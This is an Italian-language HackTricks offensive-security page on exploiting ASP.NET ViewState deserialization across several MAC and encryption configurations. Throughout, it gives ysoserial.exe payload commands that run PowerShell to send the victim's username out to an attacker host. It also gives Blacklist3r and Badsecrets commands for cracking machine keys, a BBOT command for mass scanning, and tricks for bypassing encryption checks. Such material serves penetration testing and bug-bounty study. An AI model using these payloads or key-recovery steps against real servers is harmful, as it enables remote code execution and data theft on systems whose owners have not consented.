Exploiting __VIEWSTATE without knowing the secrets

Supporta HackTricks

Suggerimento per bug bounty: iscriviti a Intigriti, una premium piattaforma di bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi, e inizia a guadagnare bounty fino a $100,000!

Cos'è ViewState

ViewState funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi collocate in campi ViewState nascosti.

Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:

  • Base64:

  • Questo formato è utilizzato quando sia l'attributo EnableViewStateMac che l'attributo ViewStateEncryptionMode sono impostati su false.

  • Base64 + MAC (Message Authentication Code) Abilitato:

  • L'attivazione del MAC si ottiene impostando l'attributo EnableViewStateMac su true. Questo fornisce una verifica di integrità per i dati di ViewState.

  • Base64 + Crittografato:

  • La crittografia viene applicata quando l'attributo ViewStateEncryptionMode è impostato su true, garantendo la riservatezza dei dati di ViewState.

Casi di Test

L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in ASP.NET in base alla versione del framework .NET. Ecco un riepilogo del contenuto:

  1. Per qualsiasi versione di .NET, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo.

  2. Per versioni inferiori a 4.5, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r."

  3. Per versioni inferiori a 4.5, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro."

  4. Per versioni 4.5 e superiori, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."

Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false

È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro AspNetEnforceViewStateMac a zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificazione degli attributi ViewState

Puoi provare a identificare se ViewState è protetto da MAC catturando una richiesta contenente questo parametro con BurpSuite. Se Mac non viene utilizzato per proteggere il parametro, puoi sfruttarlo utilizzando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Gli sviluppatori possono rimuovere ViewState affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie). Si potrebbe presumere che se ViewState non è presente, la loro implementazione sia sicura da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState. Tuttavia, non è così. Se aggiungiamo il parametro ViewState al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere esecuzione di codice come mostrato nel Caso 1.

Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false

Per abilitare ViewState MAC per una pagina specifica dobbiamo apportare le seguenti modifiche a un file aspx specifico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Possiamo farlo anche per l'applicazione complessiva impostandolo nel file web.config come mostrato di seguito:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Poiché il parametro è protetto da MAC, questa volta per eseguire con successo l'attacco dobbiamo prima ottenere la chiave utilizzata.

Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave utilizzata.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets è un altro strumento che può identificare machineKeys noti. È scritto in Python, quindi a differenza di Blacklist3r, non ci sono dipendenze da Windows. Per i viewstate .NET, c'è un'utilità "python blacklist3r", che è il modo più veloce per usarlo.

Può essere fornito direttamente con il viewstate e il generatore:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Oppure, può connettersi direttamente all'URL di destinazione e cercare di estrarre il viewstate dall'HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Per cercare viewstate vulnerabili su larga scala, in combinazione con l'enumerazione dei sottodomini, il modulo badsecrets BBOT può essere utilizzato:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Se sei fortunato e la chiave viene trovata, puoi procedere con l'attacco utilizzando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In casi in cui il parametro _VIEWSTATEGENERATOR non viene inviato dal server, non è necessario fornire il parametro --generator ma questi:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true

In questo caso non è noto se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e avrai bisogno della Machine Key per crittografare il tuo payload per sfruttare la vulnerabilità.

In questo caso il Blacklist3r modulo è in fase di sviluppo...

Prima di .NET 4.5, ASP.NET può accettare un parametro ___VIEWSTATE_ non crittografato dagli utenti anche se ViewStateEncryptionMode è stato impostato su Always. ASP.NET controlla solo la presenza del parametro __VIEWSTATEENCRYPTED nella richiesta. Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.

Pertanto, se gli attaccanti trovano un modo per ottenere la Machinekey tramite un'altra vulnerabilità come il file traversal, il comando YSoSerial.Net utilizzato nel Caso 2 può essere usato per eseguire RCE sfruttando la vulnerabilità di deserializzazione di ViewState.

  • Rimuovere il parametro __VIEWSTATEENCRYPTED dalla richiesta per sfruttare la vulnerabilità di deserializzazione di ViewState, altrimenti restituirà un errore di validazione del MAC di Viewstate e lo sfruttamento fallirà.

Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false tranne entrambi gli attributi impostati su false

Possiamo forzare l'uso del framework ASP.NET specificando il parametro sottostante all'interno del file web.config come mostrato di seguito.

<httpRuntime targetFramework="4.5" />

In alternativa, questo può essere fatto specificando l'opzione sottostante all'interno del parametro machineKey del file web.config.

compatibilityMode="Framework45"

Come nel precedente, il valore è crittografato. Quindi, per inviare un payload valido, l'attaccante ha bisogno della chiave.

Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave in uso:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Per una descrizione più dettagliata di IISDirPath e TargetPagePath fare riferimento qui

Oppure, con Badsecrets (con un valore generatore):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Una volta identificata una chiave macchina valida, il passo successivo è generare un payload serializzato utilizzando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Se hai il valore di __VIEWSTATEGENERATOR, puoi provare a usare il parametro --generator con quel valore e omettere i parametri --path e --apppath.

Un'esploitazione riuscita della vulnerabilità di deserializzazione di ViewState porterà a una richiesta out-of-band a un server controllato dall'attaccante, che include il nome utente. Questo tipo di exploit è dimostrato in una prova di concetto (PoC) che può essere trovata attraverso una risorsa intitolata "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Per ulteriori dettagli su come funziona il processo di sfruttamento e come utilizzare strumenti come Blacklist3r per identificare il MachineKey, puoi rivedere il PoC di Sfruttamento Riuscito.

Test Case 6 – ViewStateUserKeys è in uso

La proprietà ViewStateUserKey può essere utilizzata per difendersi da un attacco CSRF. Se una tale chiave è stata definita nell'applicazione e proviamo a generare il payload di ViewState con i metodi discussi fino ad ora, il payload non verrà elaborato dall'applicazione. Devi usare un parametro in più per creare correttamente il payload:

--viewstateuserkey="randomstringdefinedintheserver"

Risultato di un'Esplorazione Riuscita

Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona con successo, il server risponde con “500 Internal server error” con contenuto di risposta “Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte” e otteniamo la richiesta OOB.

Controlla per ulteriori informazioni qui

Riferimenti

Suggerimento per bug bounty: iscriviti a Intigriti, una premium bug bounty platform creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi, e inizia a guadagnare ricompense fino a $100,000!

Supporta HackTricks

Last updated